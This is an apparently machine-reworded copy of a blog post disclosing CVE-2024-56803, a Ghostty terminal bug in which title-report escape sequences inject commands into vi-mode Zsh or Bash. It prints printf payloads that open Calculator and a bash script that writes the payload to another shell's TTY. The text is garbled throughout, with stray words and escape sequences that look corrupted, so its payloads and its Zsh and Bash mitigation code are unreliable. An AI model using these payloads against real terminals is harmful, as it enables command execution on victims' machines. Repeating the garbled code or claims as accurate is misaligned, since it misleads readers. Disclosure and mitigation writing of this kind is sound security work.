Software & Apps

Ghostly CVEs in my terminal title

Explore a security bug in Ghostty that is all too familiar.

As I have done SAY
and written about all modern terminals are actually “imitating” something from the 1970s.

The full details are surprisingly complex and having a basic building block for these things is essential. We can probably do better, but it’s hard to change something so important.

In Feburary 2003 HD Moore published a paper on bugtraq called “Terminal Emulator Security Issues”.

On the 26th of December 2024 Mitchell Hashimoto was released Ghostty 1.0. A new terminal emulator. The name even has a slight nod to the “tty” of old. I immediately tested it and ran my terminal tester with it:

oh dear

That’s actually a 2003 CVE the one HD Moore was found many years ago. A new issue has been assigned CVE-2024-56803.

Why are we here again?

First of all, due to the number of terminals it affects, it is clear that this is a fundamental issue.

The basic problem is that the terminals use in-band signaling, which is the ASCII escape character that escapes from the mode the terminal is normally in (printing text) and starts handling its input as another. These other things are known as escape sequences and they can change color or ask the terminal to do different control things.

One of the control items is setting the title. That’s useful, if you run
cd in your shell, the title of the window or tab updates is nice so you know which directory a particular terminal is in. These “query” sequences are particularly problematic when coupled with the in-band signaling nature of a terminal, if the program running within the terminal does not expect a response at that moment, it may handle it differently, or even treat it as user input. .

In general any answer where the user can control the data should be carefully considered. Most terminals therefore disable title reporting by default or even do not implement it. (A recent iTerm2 bug
a regression around the configuration option itself to disable it.)

In 2022 I discovered a bug in xterm where the font query can be used to inject user-controllable text. This only works in Zsh and uses the fact that “Escape” used as part of the escape sequence is also the key you press to leave insert mode and enter Vi normal mode.

The Ghostty variant

It turns out with Ghostty we can do something very similar to the xterm issue, in Zsh with vi mode enabled (set -o vi), just output this sequence to the screen:

printf '\e)0;iopen -a Calculator\a\e(21t\e)0;:accept-line\a\e(21t'

Results of opening this calculator (on macOS):

all released versions in Zsh there is a behavior that they default the keymap to vi if the $EDITOR or $VISUAL Environment variables have “vi”. So this is a common setup for users. This default was removed after Zsh 5.9, but it has not yet been released.

Bash on set -o vi:

printf '\e)0;iopen -a Calculator\a\e(21t\e)0;vZZ\a\e(21t'

Unlike Zsh this setting needs to be enabled by the user, so is probably a less common configuration.

But is it an RCE?

Spoiler: Yes

One aspect of this attack that isn’t immediately obvious is the input that goes into your terminal, so it looks like you’re typing it, even if you’re connected to a remote system via SSH. If the remote system is compromised, it can decide it’s not interested in your input and make it buffered, potentially delivering it locally.

We can demonstrate this with a simple script that stops the shell. In this case I run it as another user session, but it can also be run as root on a remote system if the system is compromised.

SSH attack on Ghostty 1.0.0

The “disconnect-ghosty” script used in the demo is below:

#!/bin/bash
# David Leadbeater, 2024. http://©.st/dgl
pid=${1:?$'\e'"(GUsage: $0 pid-of-shell"}

tty="/dev/$(ps -otty -p$pid | tail -1)"

kill -STOP $pid
printf '\e)0;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxiopen -a Calculator\a\e(21t\e(21t\e)0;:accept-line\a\e(21t' > $tty
kill -9 $pid

Healing and lightening

Ghosty 1.0.1 out now, fix it (by making it configurable and disabling it by default).

If for some reason you cannot upgrade, the COUNSEL there is a workaround where a specific title does not allow an attacker to control the value reported back.

An alternative is to put the following in your ~/.zshrc:

function skip-osc-sequence() {
  local key
  while read -sk key && (( $((#key)) != 0x1B && $((#key)) != 0x07 )); do
    # empty body
  done
  if (( $((#key)) = 27 )); then
    # ^(\
    read -sk key
  fi
}

zle -N skip-osc-sequence
bindkey '\e)' skip-osc-sequence

This makes Zsh skip OSC responses instead of treating them as input. This is only a mitigation and you should upgrade because there may still be cases where you can be attacked (for example in remote SSH attacks, careful timing can lead to a “torn” read which may mean that the local shell does not see the start of the OSC sequence). It also doesn’t hurt to leave your config, as it provides defense in depth.

Or if using bash, set it ~/.inputrc:

"\e)": skip-csi-sequence
"\e\\": skip-csi-sequence

It’s not as complete as Zsh mitigation, because you can still be blindly tricked into pressing Enter and running an unexpected command, but it works for this particular Ghostty issue.

Please don’t see this post as any kind of attack against Ghostty, keep in mind that it has a 1.0 release. I use it and I wrote this post on it. The “terminal inspector” is great for people who are interested in diving inside their terminal. Thanks to Mitchell for the quick fix.

If you want to see more about this topic you might like my Microsoft BlueHat talk from 2023or my longer in depth post on various issues with terminals.

2024-12-31 23:47:00

Related Articles

Leave a Reply

Your email address will not be published. Required fields are marked *

Back to top button